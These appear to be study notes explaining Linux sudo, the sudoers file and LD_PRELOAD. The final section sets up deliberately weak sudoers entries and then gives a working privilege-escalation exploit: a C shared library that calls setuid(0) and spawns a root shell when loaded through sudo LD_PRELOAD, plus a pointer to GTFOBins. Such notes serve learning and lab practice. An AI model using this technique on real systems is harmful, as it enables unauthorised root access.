Sudo priviliege

The general definition:

In Linux, sudo stands for "superuser do" and is a command that allows a permitted user to execute a command as the superuser (root) or another user. This is important because Linux is a multi-user system with strict permissions to maintain security and stability. Not all users have the ability to modify system files or change system configurations.

1. Role of Root User

- The root user is the superuser on a Linux system. This user has unrestricted access to all commands and files on the system.
- Regular users have limited permissions and cannot perform certain system-wide administrative tasks (like installing software, modifying system files, etc.).
- To protect the system from accidental or malicious damage, normal users are restricted from performing tasks that require root-level permissions.

2. `sudo` Privilege

- The `sudo` command allows a regular user to temporarily elevate their privileges to execute a command as root or another user.
- It grants this privilege only for the duration of the command that follows it. Once the command is executed, the user’s privileges return to normal.

3. How `sudo` Works

- When a user runs a command with `sudo`, they are prompted to enter their own password (not the root password).
- After entering the correct password, the system verifies if the user is listed in the `/etc/sudoers` file or belongs to a group that has sudo privileges.
- If authorized, the command is executed with superuser permissions.

4. The `/etc/sudoers` File

- This file determines which users can use `sudo` and what specific commands they are allowed to run.
- System administrators can configure the sudoers file to grant full root privileges or limit which commands a user can run with `sudo`.
- The file can be edited using the `visudo` command, which helps prevent syntax errors.

5. Why Use `sudo`?

- **Security:** `sudo` avoids the need to log in as the root user, which can be risky as the root user has unrestricted power over the system.

- **Auditability:** Every command run with `sudo` is logged, which allows system administrators to track what changes have been made and by whom.
- **Temporary Privileges:** Users are granted elevated privileges only when necessary, which limits the risk of accidental system-wide changes.

if user , have full access to sudo , you acan easily remove access by this command:

```
sudo deluser <user_name> sudo
```

`LD_PRELOAD` is an environment variable in Linux that allows you to specify one or more shared libraries that the dynamic linker should load before any other libraries when executing a program. This capability can be used to override functions in the standard C library (`libc`) or other shared libraries, which can be useful for various purposes such as debugging, performance monitoring, or even modifying the behavior of programs without changing their source code.

How `LD_PRELOAD` Works:

- **Loading Custom Libraries:** When you set `LD_PRELOAD`, the specified shared library is loaded before any other shared libraries that the program depends on. This means that if the library redefines any functions that the program calls, those redefined functions will be used instead of the ones in the standard library.
- **Overriding Functions:** For example, if you want to intercept calls to `malloc()` (memory allocation function) to track memory usage, you could create a shared library that defines its own version of `malloc()`. By setting `LD_PRELOAD` to this library, your custom `malloc()` function will be used instead of the standard one

Security Considerations:

- **Potential for Abuse:** Because `LD_PRELOAD` can be used to alter the behavior of any dynamically linked executable, it has the potential to be used maliciously. For example, it could be used to load a malicious library that intercepts and alters system calls, effectively creating a form of runtime tampering or even backdoors.
- **Privileged Programs:** To prevent misuse, most system executables that run with elevated privileges (like `setuid` programs) ignore `LD_PRELOAD` for security reasons. This is to prevent an unprivileged user from escalating privileges by injecting a malicious library.

How we can make a sudo find privilege?

```
sudo visudo -f /etc/sudoers.d/user
```

```
newuser ALL=(ALL) ALL
```

```
<username> ALL=(ALL) NOPASSWD: /usr/bin/sudo –l
```

```
sudo chmod 0440 /etc/sudoers.d/<filename>
```

Exploit:

```
sudo –l
```

search for it in gtfobins

copy and run command to get root access

How we can make a sudo LD_PRELOAD privilege?

```
sudo visudo -f /etc/sudoers.d/ld_preload
```

```
Defaults:user env_reset, env_keep+=LD_PRELOAD
```

Exploit:

make a .c file and copy this code :

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
```

```
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```

```
gcc -fPIC -shared -o shell.so shell.c –nostartfiles
```

```
sudo LD_PRELOAD=/<path_file_.so> find
```